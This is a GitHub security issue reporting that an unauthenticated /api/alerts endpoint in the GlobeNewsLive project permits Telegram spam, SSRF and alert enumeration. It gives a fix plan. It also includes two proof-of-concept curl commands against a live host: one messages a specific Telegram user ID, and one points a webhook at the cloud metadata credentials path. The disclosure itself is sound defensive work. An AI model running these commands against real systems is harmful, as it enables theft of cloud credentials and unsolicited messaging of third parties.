Skip to content

Unauthenticated /api/alerts is a public Telegram spammer and SSRF relay — action:test sends to any user, action:create webhook hits any URL #60

Description

@tg12

Summary

POST /api/alerts is a fully unauthenticated endpoint that operates as a public Telegram message delivery service and SSRF relay. Three distinct attack vectors exist: (1) action: "test" sends arbitrary HTML messages to any Telegram user ID, (2) action: "create" with channel: "webhook" registers an alert that will POST to any attacker-controlled URL from the server, and (3) action: "list" enumerates all registered alert configs including destination chat IDs. The GET /api/alerts response self-documents all attack paths.

Evidence

File: src/app/api/alerts/route.ts

// Zero authentication — no bearer token, no API key, no session check
export async function POST(request: Request) {
  const { action, ...data } = await request.json();
  switch (action) {

    case 'test': {
      // Sends arbitrary Telegram message to any chat ID
      sent = await sendTelegram(data.destination, message);  // data.destination = attacker-controlled
    }

    case 'create': {
      // Registers webhook alert — server will POST to any URL
      const alert: AlertConfig = {
        channel: data.channel || 'telegram',
        destination: data.destination,  // any URL or chat ID
        ...
      };
    }

    case 'list': {
      // Returns ALL registered alerts including destination chat IDs
      return NextResponse.json({ alerts: userAlerts });
    }
  }
}

The GET /api/alerts response includes a usage field that documents the attack surface in plain text:

{
  "usage": {
    "testAlert": "POST /api/alerts { action: \"test\", channel: \"telegram\", destination: \"123456789\" }"
  }
}

Why this matters

  • Telegram spam/phishing: Anyone with any Telegram user ID (e.g. scraped from the exposed SUBSCRIBERS list in issue PII violation: real names and Telegram user IDs of 4 private individuals committed in plain text to public repo #58) can deliver arbitrary HTML-formatted messages through the legitimate GlobeNewsLive bot.
  • SSRF: Setting channel: "webhook" and destination: "http://169.254.169.254/latest/meta-data/" causes the server to reach cloud metadata endpoints, internal services, or exfiltrate data.
  • Alert enumeration: action: "list" returns all registered alert configs — no userId scoping prevents cross-user enumeration.

Attack or failure scenario

# Instant Telegram phishing to any user
curl -X POST https://feed.xdc.network/api/alerts \
  -H 'Content-Type: application/json' \
  -d '{"action":"test","channel":"telegram","destination":"353201749"}'

# SSRF to AWS metadata endpoint
curl -X POST https://feed.xdc.network/api/alerts \
  -d '{"action":"create","type":"severity","value":"CRITICAL","channel":"webhook","destination":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

Root cause

Zero authentication was implemented. The endpoint was designed as a client-configurable alert system but deployed as a public HTTP route with no access controls and no input sanitization on the destination field.

Recommended fix

  1. Require auth on all /api/alerts requests (bearer token at minimum).
  2. Validate destination on webhook channel: allowlist known safe URLs or block private IP ranges (RFC 1918, link-local 169.254.0.0/16, loopback).
  3. Never return other users' alert destinations in list responses.
  4. Remove the self-documenting usage field from the GET response.

Acceptance criteria

  • All /api/alerts actions require authenticated requests; 401 returned without valid token.
  • Webhook destination validated against a blocklist of private/internal IP ranges.
  • action: "list" scoped to authenticated user only.
  • GET /api/alerts does not expose usage documentation with example payloads.

Suggested labels

security, bug

Priority

P0

Severity

Critical — unauthenticated Telegram delivery to arbitrary users and SSRF via webhook channel.

Confidence

Confirmed — no authentication exists and the SSRF vector is present in current HEAD.


This issue was filed as part of the AI Slop Intelligence Dashboard Awareness Program.
Repo under review: https://github.com/OpenScanAI/GlobeNewsLive
Programme: https://labs.jamessawyer.co.uk/ai-slop-intelligence-dashboards/

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions